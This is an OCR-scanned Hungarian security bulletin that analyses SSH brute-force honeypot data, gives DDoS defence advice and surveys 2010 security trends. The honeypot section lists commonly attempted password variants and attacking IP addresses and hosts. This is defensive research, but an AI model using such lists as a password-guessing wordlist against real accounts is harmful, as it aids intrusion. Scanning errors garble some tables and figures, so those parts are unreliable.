A kovetkezd tablazatokban kozelebbrél szemiigyre vessziik azokat a leggyakrabban hasznalt
jelszavakat amelyek a kisérlet soran eldkeriiltek, tovabbé azt, hogy hogyan hasznéltdk dket.
Az alabbi tablazat azt mutatja, hogy bar a ,,password” sz6t 1267 alkalommal hasznaltdk, de ezen szo6

crer

Egyszoval, még ha specialis karaktereket is hasznalunk (amit a kisérletek 93%-a igazol), az akkor
sem jelenti azt, hogy egy mindennapi vagy népszerl jelszot valasszunk.

1 P455WORD 1  P@SSWORD 16 p455word 19 P@$$word 42 paS5word
1 p4sSwOrd 1 P@SSWORD 16 p455word 20 P455w0rd 56 Password
1 p4sSwOrd 1 P@$SWORD 16 p455word 20 PasswOrd 61 p4sswlrd
1 p4sSwlrd 1 P@$SWORD 16 p455word 22 P4sswlrd 86 p@ssword
1  P4SSWORD 2 p4$$word 16 PaSsWoRd 24 Pa$$word 102  P@ssw0rd
1 P43$$wOrd 2 p4$$word 16 pa$$word 24 P@$$wOrd | 337  pa55wOrd
1 p4$$word 2 PASSWORD 17 p@55wOrd 29 P@55w0rd | 457 P@ssword
1 p4$$word 3  PAS$SWORD 17 p@55wOrd 32 p@$$wlrd 482  passwOrd

1 p4$$word 5 Pa55word 18 p@55wOrd 33 P@ssword 1255 Password
1 P@55WORD 7  p4s5SwOrd 18 passwOrd 34 P@55word

1 P@55WORD 8 Pa55w0rd 18 p@sswOrd 36 PasswOrd

1 PA55WORD 13 pa$$wlrd 18 P@sswOrd 38 pdssword

1 PASSword 14 pdsswOrd 18 p@$$word 39 PasswOrd

1  p@sSwOrd 14 pdsswOrd 18 p@$$wOrd 41 P455wO0rd

1  p@sSword 15 pdsswOrd 18 P@$$wOrd 42 P@55wO0rd
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Nézziik meg azon jelszavak Top20-as listajat, amelyek specialis karaktereket tartalmaznak:

JELSZO KISERLETEK SZAMA JELSZO KISERLETEK SZAMA
p@sswOrd 457 |@#$%"& 61
@#$ %" 128 QAZwsx!@# 44
Sh3I5Lik3P4rtY@v3r 111 zh3I5Lik3P4rtY@v3r 42
P@sswOrd 102 p@55w0rd 42
p@ssword 86 |@#$%"&*( 42
@#$ 76 QQAAZZwwssxx!(@@## 39
|@H#S %o & * 67 qaz123$ 36
67 '@#$% 67 QAZ!@#123 34
1@#$ % &*() 64 P@55word 34
\@# 62 P@ssword 33

Mit mutat meg nekiink ez a lista?

Lathatjuk azt, hogy nem csak sz0 €s betii variaciokat hasznaltak, de nagy szamban hasznaltak leiitési
sorrendeket' (keystroke sequences). Az Osszegylijtott adatok alapjan levont kovetkeztetések
megerdsitik azt a felhasznaloknak adott tandcsot, hogy sziikséges jo jelszavakat valasztani.

Elmennek miutan néhanyszor probalkoznak?

Ezt a kérdést altaldban azok emberek teszik fel, akik nem tudjdk figyelmen kiviil hagyni a
bizonyitékot, ami arra a tényre mutat rd, hogy megtamadtak oket.

Lassuk mint mondanak az adatok?

A kovetkezd tablazat az els6 15 forrast és ezen forrdsok tamadéasainak szamat lathatjuk havi
bontésban.

FORRAS Dec.| Jan.| Feb. Mar. Apr. Maj. Jun. | Jul
59.46.39.204 528/ 30, 892
218.234.33.31 1120
64.15.66.147 3348
218.15.143.94 905
222.68.194.69 113 211 77 600/ 204] 51| 58] 768
web.digitalchild.com 3892
222.236.44.99 4522 693
81.168.140.114 1500
202.100.108.25 1440
58.61.156.195 2680 378, 740
218.240.40.108 1977
188.95.105.220 3476
e010.enterprise.fastwebserver.de 2223
smsbravo.com 5455
correo.correoprofesional.net 31546

Ebbdl lathatjuk, hogy a nagy szdmossdgban tdmadok, csak egy vagy két honapig aktivak. Az
sms.bravo.com-rol egy honap alatt érkezett 5455 kisérlettel érdemes foglalkozni, még akkor is, ha a
tdmado egy honap utan feladta.

11 A billentyilizeten egymas mellett talalhato betiik, pl: qwe vagy qay stb.
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Azt is lathatjuk, hogy néhany tamado igen kitartd — a 222.68.194.69 IP cim minden honapban
megmutatkozik. Nézziik meg, melyik viselkedés veszélyesebb:

FORRAS OSSZES EGYEDI OSSZES EGYEDI JELSZO
FELHASZNALONEV
smsbravo.com 651 2975
222.68.194.69 26 388

Amig az sms.bravo.com csak egy honapig tamadott, ez az aktivitas tobb veszélyt jelentett rank
nézve, mint az amelyben a 222.68.194.69 vett részt, hiszen ez a tdmado6 vonultatta fel a legnagyobb
szamu egyedi probalkozast. Ezek a begytijtott adatok azt mutatjak, hogy a sok tamado ,,elmegy” egy
bizonyos id6 utan, de még fontosabb, hogy ezek a timadok lehetnek olyan veszélyesek — és gyakran
azok is -, mint azok a tamadok akik honapokon keresztiil kitartanak.

Osszegzés

Elismerem, hogy ez adathalmaz meglehetdsen sziik gylijtemény, hiszen ezen gylijtemény az ssh
bruteforce-ra Osszpontosit, és ezek az adatok nem tobb szerverrél szarmaznak vagy egy
nagyvallalati cimtartomanybol. Tudom, hogy nagyon sok tanécs létezik az ilyen tipust tdmadasok
megel6zésére, és igen, azokat szandékosan figyelmen kiviil hagytam. Es tudom, hogy az ilyen
tipusu kérdések megvalaszolasa id6pocsékolasnak tlinik legtobbiink szdmara, és el tudom képzelni a
biztonsagi emberek mondanivalojat: ,,Természetesen az adatok megerdsitik azt, amit mondunk™.

Ennek ellenére, azt hiszem ez a fajta elemzés hasznos, hogy megmutassa az embereknek miért
mondjuk €és miért ajanljuk, amiket csinalunk — a tandcsot kemény adatok tamasztjak ala.
Amennyiben tényekkel tudjuk aldtdmasztani a tanacsainkat, segitiink magunknak és azoknak az
embereknek akiknek tanacsot adunk, hogy megfelelé dontéseket tudjanak meghozni.

Online szolgaltatasok védelme DDoS tamadasok ellen

A szolgaltatdis megtagadasos (DoS) tamadasok, olyan elektronikus tamadasok, amelyek
rendszereket, szolgaltatasokat vagy halozatokat képesek olyan mértékben leterhelni, hogy az érintett
rendszer, szolgaltatas vagy halozat elérhetetlenné valhat. Ez egyrészt a rendszerek megbénitasaval,
masrészt a halozati forgalom novelésével érhetd el, amelynek eredménye, hogy a legitim
adatforgalom nem éri a célrendszert.

A DoS tamadas szdrmazhat egyetlen rendszertdl, vagy akar rendszerek csoportjatdl is. Ez utobbi
esetet elosztott szolgaltatds megtagadasos (DDoS) tdmadasnak nevezziik.

Béarmely szervezet DoS tdmadas aldozatava valhat. A weboldalak gyakori célpontok, de levelezd
szerverek ¢és mas online szolgaltatdsok is tdmadhatdoak. A cikk els6é részében a lehetséges
célpontokrdl és a DoS tamadéasok hatdsair6l lesz szo, valamint a DoS tdmadas miikodésérol.
A masodik, inkabb technikai részben, a DoS tamadas felismerési és védekezési mechanizmusai
keriilnek kifejtésre.
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Mik a célpontok és melyek a DoS tamadas hatasai?

Elméletileg barmely szolgaltatas tamadhat6 az Interneten DoS mddszerrel. A DoS tamadas soran az
érintett szolgaltatds internetes kapcsolata megszakad, a szolgaltatas ellehetetleniil. Az esetek
tobbségében weblapokat tAmadnak, de mas szolgaltatasok is aldozatul eshetnek. A tamadas alanya
lehet levelezési szerver, authentikéacios szerver vagy pénziigyi célokra hasznalt kiszolgalok is.

Mik a DoS tamadasok okai?

A huszadik szadzad végén a végrehajtott DoS tamadésok tobbsége jellemzden céltalan vandalizmus
volt. A huszonegyedik szidzadra ez megvaltozott. A tamaddsok mar egy meghatarozott célt
szolgdlnak. A motivécios célok kozott megtaldlhatd tobbek kozott az anyagi elényszerzés pl.:
S szervezet zsarolasa, valamint ideologiai célok pl.: tiltakozas egy orszag vagy szervezet ellen is. A
DoS tdmadéasok egyre gyakoribb eszkozei a modern tiltakozasoknak. A tiltakozok nem utcai

AN | barikadokat, hanem digitélis blokadokat allitanak.

Hogyan mikodik egy DoS tamadas?
DoS tamadas:
* Haldzat tilterhelése adatforgalommal, legitim adatforgalom ellehetetlenitése.

» Két rendszer kozti kapcsolat megszakitasa.

* Felhasznalok hozzaférésének tiltasa egy rendszerhez.
* Szolgaltatds megszakitasa egy rendszeren.

A hatdsok nem feltétleniil jelentkeznek azonos idOben, azonban barmely hatis utalhat DoS
tdmadasra.

Botnetek

Tobb DoS tamadast botnet segitségével hajtanak végre. Botnet felhasznalasaval, a tamado relativ
konnyedséggel nagy szami szamitogépet képes vilagszerte mozgoésitani és azt centralizaltan
iranyitani. A tdmado hasznalhat interneten nem route-olt IP cimeket vagy visszaélhet masok IP
cimével. A szakirodalom ezt IP hamisitasnak (IP spoofing) nevezi. A modszer segitségével a tAmado
rendszerek inkognitoban maradhatnak.

A legutébbi (2010. december) Wikileaks-szel kapcsolatos tamadéas is azt demonstralja, hogy
mennyire egyszerli az atlag felhasznalonak DoS tdmadast inditania. Egy egyszerli program
hasznalataval tobb szaz szamitogép hajtott végre sikeres timadast. Tovabba az is tény, hogy az ilyen
tdmadasok végrehajtasat, csak a maganfelhasznalok megndvekedett feltoltési sebessége teszi
lehetove.

DoS tamadas felismerése

Nem minden halozati rendellenesség, probléma kivaltdja feltétleniill DoS tdmadds. Barmit is
mondjon a média, egy halozati kiesés eldidézodje lehet szimplan az infrastruktira hardveres vagy
szoftveres meghibdsodasa vagy csak egy ,,normalis” pillanatnyi terhelés. Az anomadlia okat célszerii
a hoszting vagy internetszolgaltatoval kozosen keresni.

» Javaslat: Norma értékek (baseline) megallapitasa €s az infrastruktiira monitorozasa
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Az online szolgaltatasok elleni tdmadasok az infrastruktira rendhagyo incidensei alapjan
azonosithatdak. A norma értékek segitségével konnyen és gyorsan észlelhetdek az abnormalitasok. A
norma értékek egy reprezentativ iddszakot figyelembe véve keriilhetnek megallapitasra. A norma
érték nem egy atlag, hanem egy savszélesség, ahol a felvett értékek normalisnak tekinthetdek. A
monitorozas egy olyan automatizalt folyamat, ahol meghatarozott idok6zonként a mintavételi érték
a norma ¢értékkel keriil dsszevetésre. Minden eléfordulo eltérést rendszergazdai beavatkozas kell,
hogy kovesse. Minden 1épést folyamataban kell dokumentalni.

Hogyan védekezziink DoS tamadas ellen?

Az aldbbiakban felsorolasra keriil néhany lehetséges ellenintézkedés. Az intézkedések kozott van
nem technikai természetli is pl.: szervezeti, kommunikacios vonatkozasu valaszlépés is. A javaslat a
preventiv, detektiv és valaszlépéseket tekinti at.

* javaslat: Kommunikacids tanacsadd/szovivo felkészitése

* Amennyiben egy szervezet vagy cég nyiltan allitja, hogy weboldala biztonsagos, akkor fel
kell késziilni, hogy ez provokalhatja a tdimadokat és kihivasnak fogjak tekinteni azt.

*  Gy6z6djon meg afeldl, hogy a kommunikécios tanacsado / szovivo tisztdban van a DoS
tamadasok altalanos hatdsaival pl.: online szolgaltatasokra gyakorolt hatidsaval. Milyen
ellenintézkedéseket lehet tenni? Mennyi id6t vesz ez igénybe?

* javaslat: Hasznalja ki a szolgaltato altal kinalt lehetdségeket

A szolgaltatok (ISP) szerepét gyakran aldbecsiilik. Az ISP-k jellemzdéen a kovetkezod teriileteken
nyUjthatnak segitséget:

e Megfelels anti-spoof eljarassal blokkolhatbak az RFC1918" IP cimekrdl érkezd
tamadasok vagy a IANA" altal ki nem osztott cimekrdl is.

* Az olyan érzékeld védelmi megoldasokkal mint a Netflow, azonosithatéak a DoS
tdmadasok.

* Specidlis rendszerekkel és komolyabb routerek segitségével hatékonyan éllithatoak meg
ill. kezelhetéek a DoS tamadasok.

* Szolgaltatok és azok partnerei blokkolhatjak bizonyos halézatok forgalmait.

« javaslat: Erdeklédjon az internet szolgaltato DoS tamadas elleni politikajat illetéen és
ellendrizze ezt a szerz6désben foglaltakkal.

Az esetleges rendkiviili eseményekre vald tekintettel, vegye fel a kapcsolatot a szolgaltatoval és
ellendrizze a kovetkezOket:

* Ellendrizze a megadott elérhetdségek (név ¢és telefonszam), valamint probléma esetén,
azok rendelkezésre allasat.

* Milyen tdmogatést, segitséget kindl a szolgaltatd incidens megéllitisa vagy annak
hatasanak csokkentésének érdekében? pl.: DoS tamadas esetén.

* Milyen védelmi megoldasokkal rendelkezik a szolgaltat6? Anti-DoS? Ellendrizze a
szerzOdést.

* Online szolgaltatasok, rendszer és haldzati kapacitas allapotanak meghatarozasa, kiilsd
audit, penetracios teszt és terheléses teszt alapjan.

12 http://tools.ietf.org/pdf/rfc1918.pdf
13 http://www.iana.org
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javaslat: Alkalmazza a kovetkezo intézkedéseket:

Mig a korabbi tanicsok a kommunikaciora és a halozati szolgaltatora fokuszaltak, addig a
kovetkezd ajanldsok technikai jellegiiek és a hatasok enyhitésére koncentralnak.

l.

Kertilje az allapottartd tiizfalak és behatolas-védelmi megoldasok kozvetlen, webszerverek
elétti hasznalatdt. DoS tdmadas esetén ezek hatastalanok. Ehelyett célszerli halozati
hazirendekkel és szabalyokkal ellatni a routereket és switcheket. Amennyiben, ragaszkodik
az alkalmazasszinten monitorozé ¢és beavatkozoé tiizfalak hasznalatahoz, akkor azt lokalisan,
kozvetlen a webszerveren helyezze el.

Bejovo forgalom kizarolag engedélyezett és ellendrzott porton d&ramolhat. Webszerver esetén
TCP/80 és TCP/443 portok sziikségesek csak, igy az UDP/80 port nem vesz részt a HTTP
kommunikécioban, tehat blokkolhat6. DNS szervernél a TCP/53 és UDP/53 portokra van
csak sziikség.

Lehetdség szerint haszndljon reverz-proxy szervereket, pl. Web Cache Communication
Protocol v2 (WCCP v2) alapu fiirtdzott Squid szervereket, a webkiszolgalo terhelésének
csokkentése érdekében. A tehermentesitésen tul, a megoldds tovabbi szabalyozési
lehetdséget is kindl pl.: rosszindulatt HTTTP forgalom blokkolésa.

A proxy-cache megoldasoknak a lehetd legkozelebb kell lennilik a webszerverekhez és
minden esetben logikailag a terheléseloszto szerverek mogott kell lennitik.

Folyamatosan monitorozza a ki- és bejové halézati forgalmakat. Erre a célra ajanlott a
Netflow nevil programot haszndlni. Netflow adatelemzés céljara az NFSen'* és Nfdump'
szoftverek kivalo nyiltforrast alternativak lehetnek.

IDMS'® (Intelligent DDoS Mitigation System) és RTBH'” (Remotely Triggered Black Hole)
rendszerek hasznalataval megeldzhetd a web, DNS ¢s levelez6 kiszolgalok leterheltsége. Ez
kiilondsen akkor tehet jo szolgdlatot, ha valamilyen okbol az allapottartd tizfalak nem
iktathatoak ki a hal6zatbol. Idedlis lehet terheléseloszto rendszerek védelméhez.

Bizonyosodjon meg afeldl, hogy az authoritiv DNS szerverek és a rekurziv/cache DNS
szerverek logikailag elszeparaltak, helyezze azokat kiilonb6z6 halozatokba.

Az online szolgaltatdsok ellen inditott tdmadasok ,,zsakutcdba” terelhetéek. Ezt ,NULL
routoldsnak”™ hivjak. Az eldnye, hogy a halézat egy része mentesiil a timadastol, azonban
hatranya, hogy az online szolgaltatashoz nem jut el a normalis forgalom.

A tadmadas alatt all6 online szolgaltatas izolalhat6. Ebben az esetben a tobbi ligyfelet nem
érinti a tdmadas, a hatrany itt is az, hogy a DoS tdmadas ideje alatt a normal forgalom nem
jut el a kiszolgal6hoz.

10. Hasznaljon anti-spoofing technikakat:

a. Unicast Reverse-Path Forwarding (uRPF)

Az uRPF egy intérfészeken hasznalatos IP forras ellendrzési protokoll. Ez kiilondsen
statikus routolasu hal6zatoknal jelenthet védelmet, dinamikus esetén a ,,loose uRPF”
lehet j6 vélasztas.

b. Bogon listak
A bogon'® listdkat a IANA 4altal ki nem osztott IP cimek blokkolséara lehet hasznalni.

14 http://enfsn.sourceforge.net

15 http://nfdump.sourceforge.net

16 http://www.arbornetworks.com/en/docman/the-growing-need-for-intelligent-ddos-mitigation-systems/download.html
17 http://tools.ietf.org/pdf/rfc1918.pdf

18 http://www.cymru.com/Bogons/
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c. Access Control List (ACL)
Az ACL az adatforgalmat szabalyozza IP cimek vagy portok alapjan.

11. Allitsa le az 6sszes nem hasznalt halézati szolgéltatist. A TCP/IP protokoll finomhangolasa
tovabbi eldnyt jelenthet. Webszerverek esetén a HTTP protokoll finomhangolasaval érhet6 el
jobb teljesitmény, mégpedig az idle time-out értékek modositdsaval €s a ,,session pooling”
opcid engedélyezésével.

12. Quality of Service (QoS): segitségével elére meghatarozott értékii sdvszélesség tarthato fenn,
példaul specidlis IP cimek vagy protokollok szamara. Ez alapjan a halézati forgalom
befolyasolhato pl.: blokkolhato, korlatozhato vagy tovabb engedhetd.

13. Telepitse a legfrissebb javitasokat'.

Referencia

http://www.govcert.nl/preview/english/service-provision/knowledge-and-
ublications/factsheets/protect-your-online-services-against-ddos-attacks.html

19 http://www.govcert.nl/dienstverlening/Kennis+en+publicaties/whitepapers/patch-management.html
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A VirusBuster Kft. 0sszefoglaléja 2010 informatikai biztonsagi
trendjeirol

Melyek voltak a mdogottink allo esztendd legfontosabb torténései az IT-biztonsdg teriiletén?
Beszamoldnkban a trendjelzé eseményeket, statisztikai adatokat tekintjiik at, végiil a VirusBuster
Kft. viruslaboratoriumanak észlelései alapjan attekintést nytjtunk 2010. leggyakoribb szamitdgépes
karokozoirol.

Az anyag elkészitéséhez felhasznaltuk a Puskas Tivadar Kozalapitvanyon beliil miikodé CERT-
Hungary Kozpont adatait, illetve a szerteagazd nemzetkozi kapcsolataink révén begytijtott
informaciokat is. Bizunk abban, hogy 6sszefoglaldnkban mind a szervezeti, mind az egyéni
felhasznalok talalnak szdmukra hasznos informéciot.

Piaci korkép

Sosem volt akkora jelentdségiik az IT-biztonsagi technologidknak, mint napjainkban - véli egy
vezetd német szakember. Stefan Jihnichen, a Német Szamitastechnikai Tarsasag (Gesellschaft fiir
Informatik, GI) elndke a berlini ISSE 2010 biztonsagi konferencian beszélt. Mint mondta, az IT-
biztonsag jelentdségét az adja, hogy biztonsag nélkiil nincs bizalom, marpedig az 4j technoldgiakat

csak akkor fogadjak el az emberek, ha megbiznak benniik. "Ha valahol folt esik a biztonsagon,
nehéz megteremteni vagy helyreallitani a bizalmat" - hangoztatta.

Persze egy bonyolult rendszerbe ohatatlanul belecsusznak hibdk. Olyan technoldgidra van sziikség
tehat, amely megfeleld keretek kozott tudja tartani egy esetleges hiba kovetkezményeit. Ez az oka
annak - jelentette ki Jdhnichen -, hogy az internet kordban ilyen gyors novekedésnek indult és
ekkora jelentOségre tett szert a biztonsagi technoldgidk piaca. A siker kulcsa a tudoméany, az ipar, a
politika és a kormanyzat egyiittmiikddése - tette hozza.

"A biztonsagi szegmens tovabbra is a vallalati szoftverek vilagpiacdnak leggyorsabban ndvekvo
teriiletei koz¢€ tartozik" - allapitotta meg Ruggero Contu, a Gartner vezetd elemzdje. Nincsenek még
végleges adatok az elmult esztenddrdl, de a Gartner tobb mint 16,5 milliard dollaros volumenre
szamitott a szektorban. Ha az eldrejelzés bevalik, az dgazat arbevétele 11,3 szazalékkal n6 a 2009-es
14,8 millidrd dollarhoz képest. A szakemberek mintegy 4 széazalékkal nagyobb novekedésre
szamitanak tehat, mint 2008 és 2009 kozott, amikor is mindossze 7 szdzalékkal boviilt a biztonsagi
szoftverpiac.

Csakagy, mint eddig, az agazat legnagyobb szeletét idén is a fogyasztdi szoftverpiac adja, 4,2
milliard dollarra prognosztizalt arbevétellel. A dobogd masodik helyére a kutatok szerint a vallalati
végpont-védelem keriil. Ez utobbi szektorban az év végéig 3 milliard dollaros forgalomra
szamitanak.

Hasonl6 eredményekre jutottak egy masik piackutatd tarsasag, a Canalys elemzdi. Mint mondtak, a
gazdasag Ujboli beinduldsinak koszonhetéen a cégek frissitik rendszereiket. Igy a vallalati
biztonsagi vildgpiacon 2010-re 15 millidrd dolldros volument, s 13,8 szizalékos novekedést
prognosztizaltak.

A Canalys szakértdi ugy becsiilték: a 2010-es arbevétel 33,6 szdzaléka - mintegy 5 milliard dollar -
Eurdpaban, az oroszlanrész - 46,4 szazalék, azaz kozel 7 milliard dollar - Eszak-Amerikdban
realizalodik.

Varhatoan folytatodik a szegmens novekedése idén is: 2011-re a Canalys 9,2 szazalékos boviilést,
16,3 milliard dollaros forgalmat jésol.

Hasonlo képet fest a Deloitte tanulmanya is. A neves tandcsadé tarsasag évrol évre felméri: hogyan
alakul a vilag pénzintézeteinek biztonsagi koltségvetése, melyek a teriilet 0 prioritasai. A 2010-es,
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sorrendben hetedik tanulmany szerint a megkérdezettek 56 szazaléka tervezett tobbet kolteni IT-
biztonsagra, mint 2009-ben. Mi tobb: 2009-hez képest 6tddével kevesebben (56 helyett csupan 36
szézaléknyian) nyilatkoztak gy, hogy az I'T-biztonsaguk javitdsanak Utjaban all6 egyik f6 akadaly a
pénzhidny.

A valaszadok tobb mint 70 szizaléka tervezte, hogy 12 hoénapon belill bevezet valamilyen 1j
biztonsagi technologiat. S mely biztonsagi teriileteket tartottdk a legfontosabbaknak?
Széazalékaranyuk sorrendjében az 6t f6 prioritds a kovetkezd volt: (1) azonositds és hozzaférés-
kezelés, (2) adatvédelem, (3) a biztonsagi infrastruktira javitasa, (4) a jogszabalyoknak és
eldirdsoknak vald megfelelés, illetve (5) a megfelelés javitdsa. A Deloitte megjegyzi: 2010 volt az
elsd esztendd, amikor a torvényeknek és hatosagi szabalyozasnak vald megfelelés felkeriilt a
prioritasok 6tos toplistdjara.

Rablok...

Ha a szervezetek nehéz gazdasagi helyzetben is tobbet dldoznak a biztonsagra, annak nyilvan jo oka
van. Kitél-mitdl kellett leginkabb tartanunk tavaly - s kell tartanunk valdszintileg idén is? Nos, egy
Cisco-tanulmany harom {6 trendben latja a legnagyobb kockazatot. Ezek:

» a mobil és az internetre kapcsolodo eszk6zok rohamos terjedése,
» a virtualizacio eldretorése €és végiil, de nem utolsésorban
» a kozosségi portalok térhoditasa.

Mint az aldbb kovetkezd szdmok mutatjak, az adatbetdrok, spammerek és adathalaszok mindharom
jelenséget kiaknazzak. Az anyagi és erkdlcsi kar egyarant oriasi.

Adatbetorok

Lassuk példaul, mi a fekete oldala a mobil eszk6zok egyébként oly aldasos elszaporodasanak! Nos,
az Intel és a Ponemon Intézet 329 amerikai dllami és magankézben 1€v6 szervezetet kérdezett meg a
témaban. Kideriilt: a valaszadok 12 honap alatt dsszesen 86 ezernél tobb laptopot veszitettek el, ami
- az adatvesztés, termeléskiesés és az eszk6zok értéke miatt - 2,1 milliard dollar kart okozott.

Tobbséglikben (60 szazalékban) a szoban forgd noteszgépeket "eltlintként" tartottdk nyilvan. A
fennmarado 40 szazalékrol bebizonyosodott vagy legalabbis gyanithato, hogy elloptak. A tolvajok
eldszeretettel emelik el a gépeket kozlekedési csomopontban, példaul reptereken: a legtobb ellopott
laptopnak (48 szézaléknak) utazds kozben veszett nyoma. S hol mondanak bucsut a dolgozok
noteszgépiiknek, ha nemcsak az eltulajdonitott, hanem az elvesztett gépeket is figyelembe vessziik?
Gyakorisagi sorrendben: lakasban és szallodaban, utazas kozben, illetve a sajat irodajukban. Az
eltlint laptopoknak a valaszadok korében mindossze 5 szdzaléka keriilt meg.

A felmérés azt mutatja, hogy viszonylag kevesen titkositjdk merevlemezeiket, készitenek biztonsagi
masolatot vagy alkalmaznak valamilyen lopasvédelmi technologiat. Az eltiint gépek 46 szazalékan
volt bizalmasnak mindsiil6 adat, mégis csak a rendszerek 30 szdzalékan alkalmaztak titkositast, s
csupan 10 szazalékukon lopasvédelmet. Nem késziilt biztonsdgi masolat az eltlint laptopok 71
szazalékarol, ami azt jelenti, hogy az érintettek a puszta eszkozértéknél sokkal tobbet vesztettek.
Nem véletlen, hogy a 2,1 milliard dollaros kardsszeg jo részét az elveszett adatok értéke teszi ki.

Ha a tanulmany adataibdl indulunk ki, 5-10 szdzalék kozott van annak a valdsziniisége, hogy egy
laptopot annak hdrom éves varhato élettartama alatt elvesztenek vagy ellopnak. Ennek esélye persze
agazatonként valtozik. A megkérdezett oktatasi intézmények ¢€s kutatdintézetek noteszgépeik
csaknem 11 szizalékat irtdk veszteséglistara, mig a skala masik végpontjat képviseld pénzintézetek
korében ez az ardny csak 5 szazalék kortil volt.

Persze a noteszgép-lopés csak parany szelete a kiberbiindzok altal habzsolt hatalmas tortdnak. A

33



[/ PTA

NEMZETI HALOZATBIZTONSAGI KOZPONT (HT-’) CERT
HUNGARY

Ponemon Intézet egy masik, 45 amerikai szervezetet atfogd kutatdsa szerint a szamitogépes
blincselekmények egy-egy szervezetnek egy év alatt atlagosan 3,8 millio dollarnyi kart okoztak.
Elemzésiikben a szakemberek igyekeztek minden veszteséget felbecsiilni: a kézvetlen €s indirekt,
kiils6 és belso koltségeket egyarant. Kiilsé koltségnek az ellopott vagy elveszett informacid értékét,
az lzletkiesést és az anyagi kart, belsonek a védekezésre forditott dsszeget tekintették. Az utdbbi
részeként figyelembe vették a készenlét, a felderités, a vizsgalatok koltségét, valamint a problémak
elszigetelésére, a helyreallitasra, a timadasok utani intézkedésekre koltott dollarokat.

A legdragabb belso tevékenységnek a cselekmények felderitése és a helyreallitds bizonyult, mig a
kiils6 koltségek koziil az elvesztett informécio értéke vitte el a palmat.

A kutatasba bevont szervezetek 0Osszesen heti 50 incidensnek estek aldozatul, azaz atlagosan
mindegyik cég valamivel tobb, mint heti egy sikeres timadast szenvedett el. Az 6sszes kar tobb mint
90 szazalékat webes tamadasok, rosszindulatiu programok vagy dolgozok okoztak.

: Egy-egy kibertamadas kovetkezményeinek felszdmoldsa atlagosan 14 napig tartott, s minden egyes
nap 17.696 dollarba keriilt - olvashaté a Ponemon-tanulmanyban.

Az Egyesiilt Allamokban miikddé Személyazonossag-lopasi Eréforras-kozpont (Identity Theft
Resource Center, ITRC) 2010 adatbetdrési adatait elemezve megallapitotta: Amerikaban ugyan
tavaly 662 ilyen esetet jelentettek, am ez minden bizonnyal csak toredéke a valodi szamnak. Jollehet
sok szervezet nemcsak kozli az adatlopas tényét, hanem arrél is beszamol: hany adatrekordot
vesztett, legaldbb annyian mélyen hallgatnak mindenrdl. Es a beszélék koziil is csak minden
masodik hozza nyilvanossagra az elvesztett rekordok szamat.

J6 példa a Honda tavaly december végi esete. A cég egy e-mail marketing szolgaltatojatol tigyfelek
nevét, e-mail cimét és autd-azonositojat emelték el. A Honda bejelentette az adatlopas tényét,
hozzatéve, hogy az 2,2 millio iigyfelet érintett, &m az eltulajdonitott rekordok szamat nem hozta
nyilvanossagra.

Az ITRC persze 0sszesitette a kozzétett szdmokat. Eszerint 16,1 millié adatrekord keriilt tavaly az
Egyesiilt Allamokban illetéktelen kezekbe, de ez nyilvan csak a jéghegy csticsa.

Leggyakrabban - az esetek 62 szdzalékdban - tarsadalombiztositasi szdmokat loptak el a blin6zok -
deriil ki az ITRC felmérésébol. Bankkartya-adatokra a bejelentett incidenseknek minddssze 26
szazalékaban vetettek szemet. Tovabbra is gyakoribb az adatlopds, mint az emberi hiba miatt
bekovetkez6 akaratlan adatvesztés - allapitottdk meg a kutatok. A bilincselekmények 17
szazalékéaban kiviilallok torték fel a rendszereket, de kozel ugyanilyen ardnyban - 15 szdzalékban - a
szervezet sajat dolgozoi voltak az elkovetok.

Spammerek

Jollehet bizonyos térségekben tobb lett a spam, vilagviszonylatban 2009-hez képest tavaly
alacsonyabb spamszintet mértek. Csokkenésre az internet torténetében még nem volt példa -
olvashato a Cisco éves Biztonsagi Jelentésének 2010-et attekintd kiadasaban. Egy évvel korabban a
fejlodd orszagokban ugrott meg legjobban a levélszemét mennyisége, tavaly viszont a fejlett
vildgban tapasztaltak a legerdteljesebb novekedést. Nagy-Britanniadban példaul 2009-rél 2010-re a
spamszint csaknem 99 szazalékkal szokott fel. A jelenséget valdsziniileg az okozza, hogy a fejlett
orszagokban rohamosan terjed a szélessavu internet. Minél gyorsabb a vilaghalo, annal kdonnyebb
botnet-alapti spamkampényt inditani.

Ugyanakkor Brazilidban, Kindban és Torokorszdgban - melyek 2009-ben a spam-toplista €lén jartak
- tavaly lényegesen javult a helyzet. Torokorszagban nem kevesebb, mint 87 sz4zalékkal csokkent a
kéretlen levelek mennyisége.

A Cisco kutatdi azzal magyarazzak a globalis eldrelépést, hogy a kutatok erdfeszitéseinek
koszonhetden par spamkirdlyt sikeriilt lekapcsolni. A kinai és tordk internetszolgéltatok -
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tigyfeleikkel egyiittmikodve - sokat tettek a botnetek visszaszoritasaért. A jelek szerint a korméanyok
is mind nagyobb jelentdséget tulajdonitanak a spam elleni kiizdelemnek. Németorszagban példaul,
ahol 2010-ben 10 széazalékkal tobb spamet mértek, mint egy évvel korabban, az ottani
beliigyminisztérium botnet-ellenes kezdeményezést inditott.

Az sem véletlen, hogy a Microsoft a botneteknek szentelte tavalyi félévi, 9. Biztonsdgi Kutatasi
Jelentését. A tanulmanyhoz 200 orszagbodl - valamennyi lakott kontinensrél - gyijtottek adatokat.
Mint az alébbi tablazatbol kideriil, Magyarorszag botnet-fertdzottsége négy negyedéven keresztiil a
vilagatlag masfélszerese-kétszerese koriil mozgott. A szdmok azt mutatjak: ezer végrehajtas soran
hany géprdl tavolitott el botnettel kapcsolatos rosszindulati programot a Microsoft Rosszindulat
szoftvert eltavolitd eszkdze (az MSRT).

Fertozottség 2009/3.né. | 2009/4.né. | 2010/1.né. | 2010/2.né.
Magyarorszag 5,7 3,9 7,7 4,8
Vilagatlag 2,5 2,5 4,0 32

Persze a spamvolumen csokkenése relativ fogalom. A Commtouch adatai szerint példaul 2010
harmadik negyedévében az elektronikus levelek forgalmanak 88 szdzalékat a spam tette ki. A
legmagasabb havi spamszintet szeptemberben mérték: 95 szazalékot, ami mellesleg napi 198
milliard kéretlen, illetve adathaldsz levelet jelentett. Naprol napra 339 ezer 1) taggal boviil a zombik
globalis hadserege. Orszag szerinti bontasban a legtobb zombi Indidban mukddik: a foldrésznyi
allamban gyakorlatilag minden hetedik PC-t botnetbe szervezték.

S mirdl irnak a spammerek? A Websense kutatasa szerint 2010-ben - az el6z6 évhez hasonldan - a
kéretlen levelekben elsOsorban kiilonféle termékek vasarlasara buzditottak a blinézdk. A
Commtouch ugy talalta, hogy leggyakrabban gyogyszert reklamoztak.

Hasonl6 adatokrdl szamolt be a VirusBuster spamlaborja is, amely ugyancsak 80 szézalékra teszi a
